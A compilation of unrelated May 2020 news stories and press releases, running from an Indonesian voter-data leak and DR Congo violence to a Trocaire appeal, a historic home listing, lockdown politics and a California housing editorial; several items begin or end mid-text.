The Communications and Information Ministry [must] soon conduct an investigation to get more data and information about the affected DPT, what types of data were leaked and what measures did the KPU take as an electronic system service provider. These efforts aim to prevent another personal data leak, ELSAM wrote in a statement.

Communication and Information System Security Research Center (CISSReC) chairman Pratama Persadha also urged the KPU to conduct a digital forensic audit to ensure the safety of its data system. Its a great danger to let confidential data be exposed in public without encryption, as it can be misused by irresponsible people, he added.

The identification numbers of your Identity Card or Family Card could be used to register for a phone SIM card or even to apply for online lending, said Pratama.

This is very concerning. The problem is that people cant do anything. The data should be protected by whoever possesses it, be it private or public institutions.

Pratama called on the government to play a greater role in ensuring the cybersecurity of its citizens, specifically mentioning the Communications and Information Ministry and the National Cyber and Encryption Agency (BSSN), among others, which have yet to function optimally.

Although the KPU has said the DPT is open data, it does not mean that it should not be protected, according to ELSAM and CISSReC, as leaked personal data from the DPT could be used to commit a crime.

Communications and Information Minister Johnny G. Plate said on Friday that a joint force of the KPU, the ministry and the BSSN would be created to investigate the data breach, which is also expected to prevent a repeat.

The mechanism of voter data submission, processing, storing and exposing must be secured, said Johnny.

In addition, he called on lawmakers at the House to deliberate the government-proposed personal data protection bill as soon as possible. Indonesia has yet to have its own version of the European Unions General Data Protection Regulation (GDPR) as deliberations have stalled since the government submitted the draft bill to the House in January.

In the meantime, Johnny added, the government was finalizing the establishment of a national data center that would integrate all kinds of government data with a multi-layered security system. The data center is also expected to solve the overlapping issue among public institutions.

KPU commissioner Viryan Azis said his office was currently checking the KPUs data server, pledging to probe the case thoroughly.

We are conducting an internal check on our server and coordinating with relevant parties, said Viryan as quoted by kompas.com on Friday. Viryan presumed that the data exposed in the forum might be a soft copy of the 2014 election data, with metadata dated Nov. 5, 2013.

According to him, a soft copy is openly available to the public. The soft copy [the PDF-formatted document], was issued based on the existing regulation for the publics interest, he said.

Marchio Irfan Gorbiano contributed to the story.
Coronavirus has swiftly gained status as the world's No. 1 threat but in eastern DR Congo, one of Africa's most volatile regions, militia killings and ethnic violence are an older and -- for now -- far greater source of dread. Some 2,000 kilometres (1,200 miles) distant from the capital Kinshasa, this beautiful region bordering Uganda, Rwanda and Burundi has been a notorious flashpoint since the Congo Wars of the 1990s. "The COVID-19 crisis must not make us forget the atrocities which are taking place in the east of the Democratic Republic of Congo," 2018 Nobel peace laureate Denis Mukwege said on Tuesday. In the provinces of Ituri and North Kivu, "civilians are being massacred," he said. "In South Kivu, Rwandan and Burundian armies are battling armed groups in the high plateaus of Minembwe, destroying everything in their wake," Mukwege said. "And in Tanganyika, the Zambians who had until now had good neighbourly relations with DR Congo... recently invaded our territory." Mukwege co-won the coveted prize for his treatment in helping women raped by armed rebels in South Kivu. The Kivu Security Tracker, an NGO which documents bloodshed in the two Kivu provinces, said March was one of the least violent months it had recorded -- 47 deaths against 87 on average. "But since then, the violence has resumed," an expert with the group said. April saw 85 civilian deaths and 60 incidents, which was higher than the average of 51. Since November, more than 400 civilians have been butchered in North Kivu province by the Allied Democratic Forces (ADF), a mainly Muslim militia. In Ituri province, nearly 300 civilians have been killed and around 200,000 have fled their homes since March. The authorities blame the crisis on a political-religious sect called the Cooperative for the Development of Congo (CODECO). The organisation is mainly drawn from the Lendu ethnic group, who are predominantly farmers and clash repeatedly with the Hema community of traders and herders. North Kivu and Ituri are also hosting an epidemic of Ebola, which has killed 2,279 people since August 2018. Militia violence has badly hampered the effort to end the outbreak, which depends on grassroots work to isolate cases and trace people who have been in contact with them. Nearly 1,600 cases of coronavirus have been recorded in the DRC, but fewer than two dozen have occurred in the east. - Not just coronavirus - For displaced people in Ituri, "I don't think that COVID-19 is the prime worry," said Avra Fiala of Doctors Without Borders (MSF). "They have makeshift shelters, sometimes no shelter at all, no showers, not enough toilets." The UN children's agency Unicef said that worsening violence had destroyed 22 health centres in North Kivu, wiping out stocks of vaccines, while more than 160 schools had been damaged or looted. "Conflicts do not stop with epidemics," said Fatima Sator, a spokeswoman for the International Committee of the Red Cross (ICRC). "Coronavirus adds to a long list of existing (health) problems -- various armed conflicts, other epidemics such as measles, cholera, Ebola, malaria, and very great difficulties for the public to access treatment." Sator said the ICRC was "continuing our work in the east, but adapting to the measures to prevent coronavirus." For instance, aid workers, in their "awareness sessions" with armed groups, no longer carry out such contacts face-to-face but over the phone. Fighting in eastern Democratic Republic of Congo has forced hundreds of thousands of people from their homes Virus testing in Goma, capital of eastern DR Congo's North Kivu province Virus threat: Medical workers in Beni don full protective gear -- not for COVID-19 but for Ebola. The deadly haemorrhagic fever broke out in North Kivu nearly 21 months ago
The NIA has filed a charge-sheet against three people for conspiracy to circulate high quality fake Indian currency notes (FICN) after procuring them from West Bengal, an official said on Friday.

Phulchand, a resident of UP's Lakhimpur Khiri, Aminul Islam and Nasiba Khatoon, residents of West Bengal's Malda, have been charged under the relevant sections of the IPC and the stringent UA(P)A, the official of the premier investigation agency said.

The charge-sheet was filed before a special NIA court in Lucknow on Thursday.

The case pertains to the seizure of high quality FICN with a face value of Rs 1,79,000 by UP's Anti-Terrorism Squad (ATS) on November 25, 2019 from the three accused on the Lucknow-Sitapur highway, the official said.

The case was later taken over by the NIA.

The accused conspired to smuggle, procure and kept in their possession high quality FICN, and further circulated and supplied to various persons/consignees in UP, the agency said.

The FICN was being supplied from Malda, West Bengal, it said.

Further investigation of the case continues, the NIA added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
BEIJING, May 22, 2020 /PRNewswire/ -- RYB Education, Inc. ("RYB" or the "Company") (NYSE: RYB), a leading early childhood education service provider in China, today announced that it plans to release unaudited financial results for the first quarter 2020 after market close on Thursday, May 28, 2020.

The earnings release will be available on the investor relations page of its website at http://ir.rybbaby.com.

Management will hold a conference call at 8:00 a.m. Eastern Time on Friday, May 29, 2020 (8:00 p.m. Beijing Time on May 29, 2020) to discuss financial results and answer questions from investors and analysts.

About RYB Education, Inc.

Founded on the core values of "Care" and "Responsibility," "Inspire" and "Innovate," RYB Education, Inc. is a leading early childhood education service provider in China. Since opening its first play-and-learn center in 1998, the Company has grown and flourished with the mission to provide high-quality, individualized and age-appropriate care and education to nurture and inspire each child for his or her betterment in life. During its two decades of operating history, the Company has built "RYB" into a well-recognized education brand and helped bring about many new educational practices in China's early childhood education industry. RYB's comprehensive early childhood education solutions meet the needs of children from infancy to 6 years old through structured courses at kindergartens and play-and-learn centers, as well as at-home educational products and services.

For more information, please visit http://ir.rybbaby.com.

For investor and media inquiries, please contact:

In China:

RYB Education, Inc.

Investor Relations

Tel: +86 (10) 8767-5752

E-mail: [email protected]

The Piacente Group, Inc.

Ross Warner

Tel: +86 (10) 6508-0677

E-mail: [email protected]

In the United States:

The Piacente Group, Inc.

Brandi Piacente

Tel: +1-212-481-2050

E-mail: [email protected]

SOURCE RYB Education, Inc.

Related Links

www.rybbaby.com


Trocaire has launched an urgent appeal for supporters in Co. Laois to return donations from their Trocaire boxes online or over the phone, warning that a 60% decline in donations to its Lenten Appeal has put many of its life-saving programmes at risk.

The charitys biggest fundraising campaign has been severely affected by the Covid-19 pandemic, with supporters unable to return their Trocaire boxes due to ongoing restrictions.

Trocaires Lenten Appeal raised 365,514.88 last year in Co. Laois through the Dioceses of Kildare & Leighlin and Ossory. Two-thirds of this money comes from Trocaire boxes distributed through parishes and schools. Travel and social restrictions  including the closure of parishes and schools  means most boxes have not been returned this year.

Trocaire today warned that unless donations from the boxes are returned, it is facing a massive funding crisis that will impact directly on the 3 million people who rely on its work overseas.

Trocaire CEO Caoimhe de Barra said: Every year people in Co. Laois fill their Trocaire boxes to support the worlds poorest people. But the closure of churches and schools means that support is not getting through this year.

Thousands of boxes are sitting in homes right across Ireland and unless these generous donations are returned, we wont be able to provide life-saving support to some of the poorest people in the world.

We are asking our supporters in Co. Laois to make your Trocaire box count. Please count or estimate what is in your box and donate the equivalent amount online, over the phone or via post. Many parishes have their own local arrangements in place for collecting Trocaire boxes, so people can also contact their local parish to see if it is possible to return their box within social distancing guidelines.

In addition to its vital ongoing programmes, Trocaire is also responding to the Covid-19 crisis. The virus is present in all 20 countries where Trocaire provides support. The charity is responding by providing support in all regions, including 11 countries in Africa where over 100,000 Coronavirus cases have been confirmed.

Trocaires response includes providing soap, water and hand-washing stations, supporting quarantine facilities and funding expert medical care.

The funding crisis comes at a time when we are working to reduce the spread of the Coronavirus in all 20 countries where we work. People in countries like Somalia and South Sudan are incredibly vulnerable to this virus, while lockdowns and travel restrictions have plunged millions more into extreme poverty, said Caoimhe de Barra.

The contents of each and every Trocaire box, no matter how small, come together to make a significant difference to the lives of the people we help. We have done  and continue to do  so much to protect each other. Now it is time to protect the worlds most vulnerable.

How to return your Trocaire box donation

Simply count or estimate what is in your box and donate now in one of these four easy ways:
FALLS CHURCH, Va., May 22, 2020 /PRNewswire/ -- Listed by Glass House Real Estate, this remarkable home was built in 1891 and, according to county records, was the first home built in the Sherwood subdivision. Judge and Mrs. Philip Brophy owned the home in 1950 and kept a complete record of the home's owners from 1891 until the couple purchased the property in 1950. As stated by Judge Brophy, the home had seven owners from 1891-1949. According to his records, the house once had an old well and a barn that was torn down when Albert Von Herbulis, the architect of St. James Church, bought the neighboring land to build his home. Coincidentally, 900 Park Avenue sits across the street from the extraordinary church. Previous owners include the former Falls Church Mayor Martin Haertel and Christopher C. Walters a West End merchant from the late 19th and early 20th centuries.

This three-level home sits on over a quarter acre of land in the beautiful city of Falls Church. As a registered Historic home, this property is one of a kind in many ways.

The rich history of Falls Church adds to its charm. The Falls Church (Episcopal) precedes the establishment of the township and independent city of Falls Church, Virginia. In fact, the community dates back to the late 1600s as a Colonial settlement that was shared with Native Americans. Falls Church is named for the church that the community centered around and because it was the nearest church to the Potomac River. Originally it was christened "The Falls Church"; eventually people began to shorten the name to Falls Church.

According to history records, in the 19th century, Falls Church was a community of large plantations that surrounded the church. Cash crops such as tobacco, wheat, and corn were grown and sold to neighboring communities and local markets. In 1948, the town was incorporated and today has a population of 12,751 according to the 2010 Census. In 2011, Forbes named the city the richest in the United States.

This historic home is one of the most exciting homes to come to market in Falls Church. The 4,163 square-foot home sits on over a quarter-acre of land. The three-level Victorian home has been restored and renovated to perfection. It includes four bedrooms, three fully renovated bathrooms, a fireplace, a basement, and an oversized unattached two-car garage. The modernized kitchen and bathrooms include top-of-the-line finishes and fixtures. Additional amenities include upgraded countertops, crown moldings, wood floors, an island kitchen layout, a new front porch, restored original window glass, a new gas fireplace, and a formal dining room. All of this is located in the heart of Falls Church just a short distance from East Falls Church Metro and offers easy access to major commuter routes. This is a registered Historical Home by the City of Falls Church. The home is listed at $1,750,000.

Media Contact:

Khalil El-Ghoul

Phone: 571-235-4821

Email: [email protected]

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A Historic Falls Church Home

This three-level home sits on over a quarter acre of land in the beautiful city of Falls Church. As a registered Historic home, this property in one of a kind in many ways.

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The Delhi High Court has said the AAP government and the municipal corporations are obligated to provide protected to senior citizens and other residents living near buildings occupied by health workers and directed the authorities to carry out sanitization and fumigation in such areas to assuage people's fears.

Justice Asha Menon issued the direction on a plea by a senior citizen seeking to stop a house near his residence, in south Delhi, being used as a guest house for health workers as the occupants were allegedly not adhering to hygiene measures.

The senior citizen, Anil Dhalla, told the court that he was living with five others of his age group, who also suffer from 'co-morbidities' and therefore, they were anxious about their health and well-being as measures relating to hygiene were not being adhered to by the occupants of the guest house.

The court said no one has the right to ask for removal of resident health workers from their neighbourhood "because of an unrealistic fear of COVID-19...but respondent No.1 (Delhi government) and respondent No.2 (south Delhi municipal corporation) cannot escape their obligation to provide a protected to the senior citizens and other residents adjacent to such buildings which are occupied by the health workers".

It directed them "to take all action, such as fumigation and sanitization, similar to the measures as are being adopted for Containment/Buffer Zones, in the area in question and may also adopt the practice/ protocol in other zone/areas where health workers are residing, which would also assuage the fears of other residents in the same locality, that they may be exposed to greater risk of infection".

The court directed that an action taken report be filed before the next date of hearing on May 28.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
California has seen a year's worth of suicide attempts in the space of four weeks during coronavirus lockdown, according to a trauma doctor.

Medical professionals at John Muir Medical Center in Walnut Creek, California have revealed their experiences in the hospital's trauma center after mental health took a nosedive amid lockdown.

Dr Mike deBoisblank told ABC 7 News: 'We've never seen number like this, in such a short period of time. I mean we've seen a year's worth of suicide attempts in the last four weeks.'

His colleague, nurse Kacey Hansen, has worked at the medical center for 33 years and has never seen so much 'intentional injury'.

'They intend to die. Sometimes, people will make what we call a "gesture". It's a cry for help,' she added.

Dr Mike deBoisblank, a doctor at John Muir Medical Center in Walnut Creek, California, says lockdown needs to end in order to save lives

Medical professionals at John Muir Medical Center in Walnut-Creek (pictured), California have revealed their experiences in the hospital's trauma center after mental health took a nosedive amid lockdown

'We're just seeing something a little different than that right now. It's upsetting.'

Both medical professionals have called for an end to the state's lockdown, which is currently due to expire at 11.59pm on Sunday, May 31.

And Ms Hansen added that it should be okay to visit people in the name of mental health, so long as masks are worn and distance is kept.

Dr Mike said the point of lockdown was to flatten the curve, which the state had already achieved by April.

He said it was important to end the lockdown and save the people who are suffering mentally, and may not survive if it continues.

MailOnline has approached the John Muir Medical Center in Walnut-Creek for comment.

In late March more people died in one Tennessee county from suicide than in the entire state from coronavirus, according to The Washington Examiner.

Cars line up at a McDonald's drive-thru on April 22, 2020 in Mill Valley, California. McDonald's announced plans to offer free Thank You Meals to first responders on the frontlines of the COVID-19 pandemic between April 22 and May 5

A study published in early May found at least 75,000 deaths could be brought on by anxiety and addiction to drugs and alcohol during the lockdown.

Another study by Just Facts input a broad range of data showing stress is one of the deadliest health hazards in the world. It claimed the coronavirus lockdown will destroy seven times more years of human life than strict lockdown can save.

It comes after more than 500 doctors signed a letter to President Donald Trump calling the state coronavirus lockdowns a 'mass casualty event' which were causing 'millions of casualties' from alcoholism, homelessness, suicide and other causes.

Marla Poston (left), manager of Emergency and Critical Care, dons personal protective equipment (PPE) before entering a COVID-19 patient's room in the Intensive Care Unit (ICU) at Sharp Coronado Hospital amidst the coronavirus pandemic on May 7

Dr Simone Gold, an emergency medicine specialist in Los Angeles, was the lead signature on the letter - from the One Doctor A Day group - which sought to 'express alarm over the exponentially growing negative health consequences of the national shutdown.'

The group appears to have been set up with the assistance of a Republican public relations firm in Washington D.C. which distributed the letter.

Dr Simone Gold, an emergency medicine specialist in Los Angeles, was the lead signature on the letter - from the One Doctor A Day collective

Gold is a member of the 'Save Our Country' coalition which is led by another Trump ally, Art Laffer, the conservative economist who has also spoken out against lockdown.

One Doctor A Day's talking points echo almost precisely those advanced by the White House at a cabinet meeting earlier this week, that people will die because of lockdown.

In the letter, the doctors explain that during a mass casualty incident, 'victims are immediately triaged to black, red, yellow, or green.'

'Millions of Americans are already at triage level red,' the doctor state in the letter. 'These include 150,000 Americans per month who would have had a new cancer detected through routine screening that hasn't happened, millions who have missed routine dental care to fix problems strongly linked to heart disease/death, and preventable cases of stroke, heart attack, and child abuse.'

'We are alarmed at what appears to be the lack of consideration for the future health of our patients,' the doctors add. 'The downstream health effects ... are being massively under-estimated and under-reported. This is an order of magnitude error.'

The letter states that calls to the suicide hotline have increased 600 per cent, liquor sales have increased 300 to 600 per cent and cigarette sales have also increased.

The letter states that calls to the suicide hotline have increased 600 per cent, liquor sales have increased 300 to 600 per cent and cigarette sales have also increased

The letter continues: 'The millions of casualties of a continued shutdown will be hiding in plain sight, but they will be called alcoholism, homelessness, suicide, heart attack, stroke, or kidney failure. In youths it will be called financial instability, unemployment, despair, drug addiction, unplanned pregnancies, poverty, and abuse.

'Because the harm is diffuse, there are those who hold that it does not exist. We, the undersigned, know otherwise.'

The letter was published by Fox News and shared online. Gold teamed up with the Association of American Physicians and Surgeons - a conservative group - to obtain the signatures.

'It is impossible to overstate the short, medium, and long-term harm to peoples health with a continued shutdown,' the letter states.

The letter continues: 'The millions of casualties of a continued shutdown will be hiding in plain sight, but they will be called alcoholism, homelessness, suicide, heart attack, stroke, or kidney failure. In youths it will be called financial instability, unemployment, despair, drug addiction, unplanned pregnancies, poverty, and abuse

'Losing a job is one of life's most stressful events, and the effect on a person's health is not lessened because it also has happened to 30 million other people.

'Keeping schools and universities closed is incalculably detrimental for children, teenagers, and young adults for decades to come.'

The letter comes as Republican political operatives have been recruiting 'pro-Trump' doctors to go on television to prescribe reviving the US economy as quickly as possible, without waiting to meet safety benchmarks proposed by the federal Centers for Disease Control and Prevention to slow the spread of the new coronavirus.

The plan was discussed in a May 11 conference call with a senior staffer for the Trump reelection campaign organized by CNP Action, an affiliate of the GOP-aligned Council for National Policy. A leaked recording of the hour-long call was provided to The Associated Press by the Center for Media and Democracy, a progressive watchdog group.

More than 500 doctors signed the letter to Trump. The letter comes as Republican political operatives have been recruiting 'pro-Trump' doctors to go on television to prescribe reviving the U.S. economy as quickly as possible

CNP Action is part of the Save Our Country Coalition, an alliance of conservative think tanks and political committees formed in late April to end state lockdowns implemented in response to the pandemic. Other members of the coalition include the FreedomWorks Foundation, the American Legislative Exchange Council and Tea Party Patriots.

A resurgent economy is seen as critical to boosting President Donald Trumps reelection hopes and has become a growing focus of the White House coronavirus task force led by Vice President Mike Pence.

Tim Murtaugh, the Trump campaign communications director, confirmed to AP that an effort to recruit doctors to publicly support the president is underway, but declined to say when the initiative would be rolled out.

'Anybody who joins one of our coalitions is vetted,' Murtaugh said Monday. 'And so quite obviously, all of our coalitions espouse policies and say things that are, of course, exactly simpatico with what the president believes. ... The president has been outspoken about the fact that he wants to get the country back open as soon as possible.'

Support: The call was with Mercedes Schlapp, a Trump campaign senior adviser. 'Those are the types of guys that we should want to get out on TV and radio to help push out the message,' Schlapp said on the call

During an emergency such as the current pandemic, it's important that the government provide consistent science-based information to the public, said Dr. Wafaa El-Sadr, an epidemiology professor at Columbia Universitys Mailman School of Public Health.

Dr. Anthony Fauci, the nation's top infectious disease expert and a member of the White House's coronavirus task force, has been among the most visible government experts warning that lifting lockdowns too quickly could lead to a spike in deaths.

El-Sadr said having doctors relay contradictory information on behalf of the president is 'quite alarming.'

'I find it totally irresponsible to have physicians who are touting some information that's not anchored in evidence and not anchored in science,' El-Sadr said. 'What often creates confusion is the many voices that are out there, and many of those voices do have a political interest, which is the hugely dangerous situation we are at now.'

Murtaugh said the campaign is not concerned about contradicting government experts.

'Our job at the campaign is to reflect President Trump's point of view,' Murtaugh said. 'We are his campaign. There is no difference between us and him.'

On the May 11 call, Nancy Schulze, a GOP activist who is married to former Rep. Dick Schulze, R-Pa., said she had given the campaign a list of 27 doctors prepared to defend Trumps reopening push.

'There is a coalition of doctors who are extremely pro-Trump that have been preparing and coming together for the war ahead in the campaign on health care,' Schulze said on the call.

'And we have doctors that are ... in the trenches, that are saying 'It's time to reopen.'

The idea quickly gained support from Mercedes Schlapp, a Trump campaign senior adviser who previously served two years as the presidents director of strategic communications.

'Those are the types of guys that we should want to get out on TV and radio to help push out the message,' Schlapp said on the call.

'They've already been vetted. But they need to be put on the screens,' Schulze replied.

Schlapp's husband agreed the president is getting criticized for not appearing to follow the advice of public health experts.

Matt Schlapp is chairman of the American Conservative Union, which hosts the annual Conservative Political Action Conference attended by conservative luminaries.

'The president's going to get tagged by the fake news media as being irresponsible and not listening to doctors,' Matt Schlapp said on the call.

'And so we have to gird his loins with a lot of other people. So I think what Nancy's talking about ... this is the critical juncture that we highlight them.'

Matt Schlapp told AP on Monday that he stood behind what he said on the leaked call.

'There is a big dynamic in the national media that will not give President Trump any credit,' he said. 'It's important to get the message out there that most people recover from corona.

'Most people are not in mortal danger with corona and that we can safely open up the economy.'

As several Republican governors moved last week to lift their state lockdowns, the National Ensemble Forecast used by the CDC to predict COVID-19 infections and deaths saw a corresponding increase.

Stalwart: Matt Schlapp, Chairman of the American Conservative Union, said deploying doctors to talk up reopening would help his re-election. 'The president's going to get tagged by the fake news media as being irresponsible and not listening to doctors,' Schlapp said on the call

The CDC now forecasts the U.S. will exceed 100,000 deaths by June 1, a grim milestone that previously was not predicted to occur until late in the summer.

As of Wednesday, more than 1.57 million Americans had tested positive for COVID-19, with more than 93,000 deaths reported nationwide.

Experts, including Fauci, have said that is likely an undercount, with the true number being much higher. Meanwhile, Trump has suggested, without providing evidence, that the official death toll from the virus is being inflated.

Schulze, who was working to organize the pro-Trump doctors, did not respond to messages from AP seeking comment.

Dr. Gold has recently appeared on conservative talk radio and podcast programs to advocate for the use of hydroxychloroquine, which she says she has prescribed to two of her patients with good results.

Gold told AP on Tuesday she started speaking out against shelter-in-place and other infection control measures because there was 'no scientific basis that the average American should be concerned' about COVID-19.

Like the president, she is advocating for a fast reopening, and argues that because the majority of deaths so far have been the elderly and people with preexisting conditions, younger people should be working.

Gold denied she was coordinating her efforts with Trump's reelection campaign.

'But put this in there: I'm honored to be considered,' she said.
Advanced manufacturing game changer

Louisiana State University is leading an innovative $20 million project that will introduce new technologies and materials to boost a range of manufacturing industries, with federal support from the National Science Foundation, or NSF.

3-D printing technology holds the potential to reinvent the manufacturing industry, but the materials currently available do not meet the needs for structural safety and integrity.

To solve this, LSU scientists and engineers, along with collaborators throughout the state, will be discovering and testing the composition, processing, microstructure, performance and structural integrity of materials that can be used in advanced 3-D printing.

"This game-changing work is at the frontiers of science, engineering and education. We are committed to connecting our research discoveries to industry, so they can have real-world impacts," said Michael Khonsari, the Dow Chemical Endowed Chair in Rotating Machinery in the LSU Department of Mechanical Engineering, who is the project director for the newly established Louisiana Materials Design Alliance, or LAMDA, in his capacity as Associate Commissioner for Research at Louisiana Board of Regents.

LAMDA is comprised of scientists and engineers at five Louisiana universities - Louisiana Tech, University of Louisiana Lafayette, Southern University A&M, Tulane University and LSU. The Louisiana Board of Regents is administering this grant.

"This is a great win for Louisiana and the economy that will provide a much-needed boost to the manufacturing industry in our state and across the U.S. We are thankful for the National Science Foundation's support of the research expertise at LSU and throughout Louisiana," said LSU Interim President Tom Galligan.

NSF has funded the project for five years.

"This project is a superb example of synergistic, inter-related research and educational activities that support a larger national scientific priority area," said NSF Established Program to Stimulate Collaborative Research Director Ann Stapleton.

LAMDA researchers will develop and use state-of-the-art machine learning, a form of artificial intelligence, to efficiently hone in on the specific materials that can deliver the best performance metrics and structural integrity for 3-D printing.

"Any trial and error in the lab would take days and years of design. This is why the team will use machine learning to figure out what type of materials to use, and how to optimize them. Essentially, LAMDA will develop a framework for material design guided by machine learning," Khonsari said.

At LSU, the researchers involved include co-Principal Investigator and the Jack Holmes Professor in Mechanical Engineering Shengmin Guo; co-Principal Investigator and the Major Morris S. & DeEtte A. Anderson Memorial LSU Alumni Professor of Mechanical Engineering Guoqiang Li; Assistant Professor of Mechanical Engineering Genevieve Palardy; the A. K. & Shirley Barton Professor of Mathematics Blaise A. Bourdin; LSU Chemistry Professor Leslie G. Butler; the Oskar R. Menton Professor of Electrical Engineering and the Center for Computation & Technology Xin "Shane" Li; the Smiley and Bernice Romero Raborn Chair in Mechanical Engineering Wen Jin Meng; Assistant Professor in the Division of Computer Science & Engineering Mingxuan Sun; Associate Professor in the Division of Computer Science & Engineering Jian Zhang; the Alexis and Marguerite Voohries Professor of Mechanical Engineering, the Richard J. and Katherine J. Juneau Distinguished Professor and Department Chair of Mechanical & Industrial Engineering Dimitris E. Nikitopoulos; LSU Department of Physics & Astronomy Professor Phillip T. Sprunger; and LSU Chemistry Professor John A. Pojman.

"This alliance brings some of the top talent at LSU and around the state together to do what we do best: discover, innovate, test and deliver. All along the way, LAMDA will work closely with key industry leaders and educate the workforce," said LSU Vice President of Research & Economic Development Sam Bentley.

In addition, the faculty will develop new courses and student-led LAMDA research projects to grow the skilled and diverse STEM workforce in Louisiana. Summer training programs for community college faculty will also provide them with educational tools in 3-D printing methods and software, which can be incorporated into community college classrooms.

The NSF grant will support 14 new faculty at the five universities that are part of LAMDA.

"We want an influx of new faculty as well as industry partners to come and work with us," Khonsari said.

###

This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.
Aoife Chapman and Nicky Haberlin from Mountross, who had to cancel their wedding due to Covid-19, with their son Sam.

Aoife Chapman was due to marry her soul mate, Nicky Haberlan, on the Saturday of the May bank holiday weekend and had every detail planned to a T, but it wasn't to be due to Covid-19.

With 240 invites sent out, she had been looking forward to her big day for two years and had already spent around 6,000. In the end, her only option was to get changed into her wedding dress in a registry office bathroom and have a short ceremony in front of immediate family.

As the days ticked down to May 2, she was busy making preparations, including getting her wedding dress and organising a band and a DJ, but when the restrictions were announced she - like all brides-to-be in Ireland this spring and summer - was left with a real dilemma.

'My Dad [Jim] lives in Australia so he wouldn't have been able to make the wedding. When we postponed it, we felt relief. Beforehand it was really hard. I got a bit upset. We had been saving for so long but if any of our family had gotten sick [at the wedding] how would we feel? I wanted to be that bride waiting at the end of the aisle hugging people who'd be congratulating you.'

The couple are together six years. 'We are both from town and met through friends. We knew each other long before we got together.'

Aoife and Nicky announced their engagement at their son Sam's christening in August 2018.

Aoife had her hen party in February and Nicky was supposed to go to Swansea for his stag party on the weekend before St Patrick's Day. He didn't go in the end, opting for a night out at Spider O'Brien's pub instead with friends.

Aoife and Nicky decided in mid-March to postpone their wedding. The fun loving couple are known to be the life and soul of the party and are the first up singing at social events.

The reception was due to take place at Riverbank House Hotel, with music by Route 66 and Jim FitzGibbon booked as DJ.

'The whole emphasis of the wedding was about us becoming a family and celebrating that with a civil ceremony at the Riverbank House Hotel.'

A former member of New Ross Musical Society, Aoife had invited many society members and was excited about having a sing along with them in the hotel function room.

She had also picked her wedding dress, which is currently with an alterations lady.

'She has been told not to take anything in! All this sitting around isn't great,' Aoife joked.

The bridesmaid dresses were also arranged.

'Our suppliers were amazing. We have changed the date twice: to October 2020 and then to October 2021. They came back to us every time within 24 hours and were absolutely amazing.'

Photographer Shane O'Connor of OC Photography in New Ross and a videographer had been booked and both said they will try to accommodate the new date.

'I know of a lot of other brides who didn't have such a positive experience. We spent six grand. We chose October 2021 as we wanted to make sure that this was all completely gone. Everything is too much up in the air at the moment.'

Nicky and Aoife had booked a three-night break as a mini honeymoon and had planned a family holiday in September.

Aoife said her 'wedding day' on May 2 was difficult.

'It's hard to look at the bigger picture sometimes. That Friday evening and Saturday was tough and it was especially tough as we were in the middle of the lockdown which meant we couldn't go out for a nice meal or have a night with family and friends, but they came to our wall with presents. My Mam made me a "It's not a wedding cake". By three or four on Saturday we had the mindset that the wedding would be over by now anyway.'

Aoife and Nicky exchanged presents. Aoife gave a poem she had written for him for her wedding speech and put into a book. Nicky presented Aoife with a book of contributions from people who were going to speak at the wedding.

They were overwhelmed by the kind gestures and loved the wine bottle holder from Nick's mother Gertie.

They are philosophical about the wedding having been arranged, focussing instead on the positives in their lives - their son Sam (2) being front and centre in this regard.

'Hopefully he will be able to do a bit of talking when we eventually get married. In October 2021 we might have the wedding we had planned. We are lucky we have our house and our boy so that puts things in perspective. So long as he is healthy and everyone is well, that's all that matters.

'For any other bride and groom it's going to be tough. I have two friends who are still planning on getting married in July but I don't think they can do it in comfort. Like everyone else, we're coping and doing things we never would have before like having Zoom parties with close friends and family.'
Members of the Los Angeles Tenants Union and their supporters hold a demonstration April 1 at Mariachi Plaza in Boyle Heights to demand rent forgiveness. (Los Angeles Times)

If you thought California had a housing and homelessness crisis before COVID-19, just wait. The pandemic could make it all so much worse.

The unemployment rate hit nearly 15% in April, the highest it's been since World War II, and some 23 million Americans are out of work. Low-income households have been particularly hard hit, with 40% of job losses among workers who earn less than $40,000 a year. These are people who struggled to cover their housing expenses and other monthly bills before the pandemic. Its no wonder experts are warning that California could see a 20% increase in homelessness, with the surge even more severe in other parts of the country. If the downturn drags on, we could see more evictions and foreclosures than the Great Recession triggered.

Its a make-or-break moment. With swift, determined action, we could ward off the worst outcomes, avoid mass evictions, save people from falling into homelessness, avert devastating foreclosures and prevent a real estate collapse.

Study after study has demonstrated that affordable, stable, safe housing is the key to well-being and upward mobility. Without housing, its hard to get a job, let alone perform well enough to hold onto it. Without a stable home, kids struggle to perform well in school.

Keeping people housed is important for the U.S. economy, too. Federal Reserve Chairman Jerome Powell has repeatedly told Congress that the best way to avoid a long, painful recession is to spend, spend, spend to help families stay solvent and to keep workers in their homes, keep them paying their bills.

We spoke to experts about what new policies and programs could help prevent the next housing crisis and ease the housing shortage that existed long before COVID-19. These arent the only ideas, by far. Rather, they make up a selection of pragmatic proposals that could be embraced right now.

Help tenants pay their rent

The easiest and fastest  and yes, most expensive  way to prevent a housing crisis is for the federal government (and federal taxpayers) to put up the money to keep renters in their homes and landlords whole.

Story continues

Because Congress, state and local governments have imposed a patchwork of eviction moratoriums, many tenants who cant pay the rent wont lose their home during the pandemic. But theyll eventually have to come up with the payments they missed. When the debt comes due, there could be a wave of evictions. In the meantime, landlords still have to pay their bills, including their mortgages, property taxes, insurance and maintenance. And the investors who bought mortgage securities, including pension funds and insurance companies, are relying on those payments as well.

Tenants' inability to pay their rent could set off a devastating chain reaction in the real estate and finance industries that could have lasting effects on the economy. It makes sense for lawmakers to do everything possible to prevent that pain.

Earlier this month Democratic members of Congress proposed a $100-billion emergency rental assistance fund for low-income tenants. House Democrats incorporated that fund into the $3-trillion relief bill they passed last week on a near-party-line vote; the measure also would delay mortgage payments for up to a year for owners of one- to four-unit dwellings who have pandemic-related issues and would create a $75-billion homeowners assistance fund to help with mortgages, utility bills and property taxes. The bill is going nowhere in the Senate at the moment; Republican leaders have said its too expensive and theres no need to act yet.

Weve seen what can happen when lawmakers dont respond adequately to a housing catastrophe. There are families and communities today that still have not recovered from the Great Recession. Congress and the Trump administration can pay now and forestall serious consequences. Or they can pay later, when the price to ease the human suffering and the economic toll will be much greater.

Help landlords cover their losses

Even if the federal government enacts a rental assistance program, it almost certainly wont cover all distressed renters. There will still be tenants who cant pay their rent and will face eviction, and landlords who will lose money. A group of California lawmakers have a promising new idea to encourage landlords and tenants to make a deal.

